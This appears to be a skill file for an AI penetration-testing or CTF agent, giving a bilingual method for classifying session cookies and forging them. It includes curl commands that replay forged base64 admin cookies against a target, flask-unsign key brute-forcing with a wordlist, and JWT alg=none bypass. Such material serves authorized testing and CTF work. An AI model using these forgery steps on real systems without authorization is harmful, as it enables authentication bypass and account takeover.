cookie-analysis

name	cookie-analysis
description	Session cookie 分析与伪造方法论。当发现 Web 应用使用 cookie 进行认证、需要判断 cookie 类型并选择伪造方法时使用。覆盖 unsigned base64 cookie 直接伪造、Flask 签名 cookie（flask-unsign 爆破密钥）、加密/二进制 cookie 的识别。本技能负责 cookie 类型判断和分流：如果判断为 JWT（三段式 eyJ 开头），应转至 jwt-attack-methodology；如果判断为加密 cookie 需要 Padding Oracle，应转至 crypto-web-attack
priority	8
vuln_types	["Cookie安全","Session伪造","认证绕过","会话固定","JWT攻击"]
triggers	["Cookie","Set-Cookie","session","remember_me","HttpOnly","SameSite","Flask session","connect.sid","JSESSIONID","csrftoken"]
synonyms	["cookie-forgery","session-cookie","session-analysis","flask-cookie"]
metadata	{"tags":"cookie,session,flask,base64,forgery,authentication,bypass,cookie-analysis,认证绕过,flask-unsign,session cookie,itsdangerous,cookie伪造,unsigned cookie","category":"discovery","authority":"expert"}

Cookie Analysis & Forgery Methodology

0. 立即执行摘要：Cookie 先分型，再测服务端是否信任

看到 Cookie 后不要直接爆破。按下面顺序判断：

1. 属性风险：检查 HttpOnly、Secure、SameSite、Domain、Path、Expires，判断 XSS/CSRF/子域注入/明文传输风险。
2. 值结构：识别 JWT、Base64 JSON、Flask/Django/Rails/Express session、加密 blob、随机 session id。
3. 服务端信任边界：改 user_id/role/is_admin/tenant_id/exp 后必须重放请求，只有服务端接受才算漏洞。
4. 会话混用：删除单个 Cookie、只保留部分 Cookie、A/B 账号 Cookie 交叉混用，测试是否发生会话固定或权限错配。
5. Remember-me：长期登录 token、弱随机、可预测、未绑定设备/用户代理时要单独测试。

如果只是能解码 Cookie，但不能证明服务端接受篡改，最多是信息泄露或 suspected，不能判定认证绕过。

🤖 Agent 工具映射

以下 bash/curl 命令仅供理解原理。Agent 应使用对应工具执行：

方法论中的命令	Agent 实际工具	用法
curl -sI 获取 Set-Cookie	browser_get_cookies	直接获取浏览器所有 Cookie
echo ... | base64 -d 解码	browser_evaluate	browser_evaluate("atob('cookie_value')")
flask-unsign --decode	browser_evaluate	手动拆解 . 分隔的 cookie，base64 解码第一段
设置伪造 Cookie	browser_set_cookie	browser_set_cookie(name, forged_value, domain)
curl -b 'session=...' 验证	proxy_send_request	带伪造 Cookie 头请求目标

When to Use

• You found a session cookie and want to forge it
• BEFORE running flask-unsign or any brute-force tool
• When you need to bypass authentication via cookie manipulation

Step 1: Extract the cookie

curl -sI http://TARGET/ | grep -i set-cookie

Step 2: Identify cookie type

Test A: Base64 decode

echo '<cookie_value>' | base64 -d 2>/dev/null
# Also try URL-decoded version:
python3 -c "import base64,urllib.parse; print(base64.b64decode(urllib.parse.unquote('<cookie>')))"

If it decodes to valid JSON → UNSIGNED BASE64 (most common in CTF!)

• Attack: forge directly — takes 5 seconds

# Forge admin session
echo -n '{"user_id":1}' | base64
# Use as cookie:
curl -b 'session=eyJ1c2VyX2lkIjoxfQ==' http://TARGET/admin/flag

• Try variations:

echo -n '{"user_id":1}' | base64
echo -n '{"role":"admin"}' | base64
echo -n '{"is_admin":true}' | base64
echo -n '{"user_id":1,"role":"admin"}' | base64
echo -n '{"username":"admin"}' | base64

Test B: Flask itsdangerous signature

If the cookie has a . followed by a signature portion:

# Cookie looks like: eyJ...IjoxfQ.Xk2Ypg.dBV2_DkvOBP3...
flask-unsign --decode --cookie '<cookie>'
# If decode works → Flask signed cookie
flask-unsign --unsign --cookie '<cookie>' --wordlist $ABOUTSECURITY_ROOT/Dic/passwords.txt

Test C: JWT

If the cookie has three base64 parts separated by .:

# Header.Payload.Signature
echo '<first_part>' | base64 -d  # Should show {"alg":"...","typ":"JWT"}
# → Use Skill(skill="jwt-attack-methodology")

Test D: Encrypted/Binary

If base64 decode produces garbage → encrypted cookie

• Need key or padding oracle attack
• Check source code for encryption key

Step 3: Common bypass patterns

• If unsigned: forge with user_id=1, role=admin, is_admin=true
• If Flask-signed: try common keys ('secret', app name, etc.)
• If JWT with alg=none: remove signature, set alg to "none"
• If JWT with HS256: try common secrets, check for JWKS endpoint

最低必测自检

标记 not_vuln 前必须确认：

#	必测项	说明
1	已记录所有认证相关 Cookie 的属性	HttpOnly/Secure/SameSite/Domain/Path/Expires
2	已分型 Cookie 值结构	JWT、Base64 JSON、签名 Cookie、随机 session id、加密 blob
3	已测试删除单个 Cookie、删除全部 Cookie、只保留某个 Cookie	判断是否存在弱鉴权或多 Cookie 混用
4	已用 A/B 账号交叉替换 Cookie	判断会话固定、权限错配、Remember-me 绑定缺失
5	可解码 Cookie 已尝试篡改权限字段并由服务端验证	前端解析成功不算服务端接受
6	JWT 已转入 jwt-attack-methodology	Cookie 中的 JWT 不在本 skill 内重复展开
7	加密 Cookie 有异常差异时已转入 crypto-web-attack	例如 padding oracle、MAC 校验差异

Critical Reminders

• NEVER run flask-unsign on unsigned cookies — wastes 25+ minutes and ALWAYS fails
• Always decode the cookie FIRST to determine its type
• Base64 JSON cookies are the most common type in CTF challenges
• Direct forgery takes 5 seconds vs brute-forcing takes 25+ minutes